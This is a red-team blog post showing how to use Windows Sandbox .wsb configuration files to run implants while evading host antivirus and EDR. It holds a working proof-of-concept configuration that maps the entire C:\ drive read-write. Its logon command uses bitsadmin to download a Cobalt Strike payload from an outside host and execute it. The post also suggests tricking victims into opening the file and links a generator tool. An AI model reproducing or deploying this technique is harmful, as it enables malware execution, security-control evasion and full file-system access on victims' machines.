Weaponizing Windows Sandbox To Bypass Defender

LloydLabs ⁝⁝ 12/2/2020

Dec 2, 2020

Weaponizing Windows Sandbox

Introduction

I've not posted on here since May, as I've been busy with (well, life in general) projects and whatnot. This short blog post may be useful for a Red Team by living-of-the-land for the execution of payloads on a machine where Windows Sandbox can be enabled; Windows Sandbox is designed to work this way - no exploitation of anything is covered in this post. With this technique in terms of executing within a VM, we don't need to load an external ISO onto the machine, as all of this is handled by the sandbox. From my visibility, `.wsb` was not inspected or blacklisted on any major EDR or AV.

At the tail end of last year, Microsoft introduced a new feature named Windows Sandbox (WSB for short). Windows Sandbox allows you to quickly, within 15s, create a disposable Hyper-V based Virtual Machine with all of the qualities a familiar VM would have such as clipboard sharing, mapping directories etc. The sandbox is also the underlay for Microsoft Defender Application Guard (WDAG), for dynamic analysis on Hyper-V enabled hosts and can be enabled on any Windows 10 Pro or Enterprise machine - making this a perfect as a living off the land technique.

The tl;dr of this technique is to craft a .wsb that can be executed on an endpoint, which mounts the user's file-system, allowing us to execute the implant inside a hidden VM and bypass any AV/EDR that's on the host. The WSB configuration also seems to be bypassing Windows Defender on the host where it's executed. It's not incredibly complicated but could prove useful in an engagement.

Technique

To enable the sandbox on the host machine, we can simply run the following in PowerShell:

```
Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" -
All -Online
```

As the interactive sandbox is mainly designed for an end-user to deem if a file is malicious or not, Windows Defender is not enabled by default for obvious reasons. We can observe this below.

```
PS C:\Users\WDAGUtilityAccount> Get-MpComputerStatus
Get-MpComputerStatus : Provider load failure
At line:1 char:1
+ Get-MpComputerStatus
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified:
(MSFT_MpComputerStatus:ROOT\Microsoft\...pComputerStatus) [Get-MpComputerS
   tatus], CimException
    + FullyQualifiedErrorId : HRESULT 0x80041013,Get-MpComputerStatus
```

The user can either launch a default instance of the sandbox or create a .wsb file with specific parameters. These parameters are defined by Microsoft here. The WSB extension is associated with Windows Sandbox and will launch a new instance with your defined values. For example, the below configuration will run `cmd` and `ping` upon boot.

```
<LogonCommand>
  <Command>
    cmd.exe /c ping 8.8.8.8
  </Command>
</LogonCommand>
```

We can also specify a folder or drive to map to, in which the guest inherits the file permissions. We can read/write to the folder:

```
<MappedFolders>
  <MappedFolder>
    <HostFolder>C:\</HostFolder>
    <SandboxFolder>C:\Users\WDAGUtilityAccount\C_Mount</SandboxFolder>
    <ReadOnly>false</ReadOnly>
  </MappedFolder>
```

So, if we craft a .wsb configuration file, with folders we want to access, along with a logon command we can execute an implant inside of the Windows Sandbox with full read/write access to the file-system with one click. Below is a crafted proof-of-concept WSB configuration, where the root drive (`C:\`) is mapped to `C:\Users\WDAGUtilityAccount\UserFiles`. On execution of the WSB file, a Cobalt Strike payload is executed from %APPDATA% inside the VM with full access to the root file system. The WSB file is also **undetected on the host**.

```
<Configuration>
  <MappedFolders>
    <MappedFolder>
      <HostFolder>C:\</HostFolder>
```

```
      <SandboxFolder>C:\Users\WDAGUtilityAccount\UserFiles</SandboxFolder>
      <ReadOnly>false</ReadOnly>
    </MappedFolder>
  </MappedFolders>
  <LogonCommand>
    <Command>ping 127.0.0.1 -n 3>null&bitsadmin /transfer myjob /download
/priority high http://192.168.0.4/cs_wsb_test.bin
"%APPDATA%\cs.exe">nul&start %APPDATA%\cs.exe</Command>
  </LogonCommand>
</Configuration>
```

The command could be anything - I just used the one above as a placeholder. The `.wsb` extension is also registered to be handled by `WindowsSandbox.exe` - giving room to a social engineering attack encouraging a victim to execute it where it is enabled.

Conclusion

A similar technique has been used by the infamous Maze and Ragnar locker threat actors in recent times; however, they have installed 3rd party virtualisation suites such as VMWare & VBox - using Windows Sandbox bypasses the requirement for this software to be installed. To complement this technique, I created a simple Go program to find drives automatically and mounted network shares that can include as a mapped folder, to then generate a WSB based on this. This can be found here.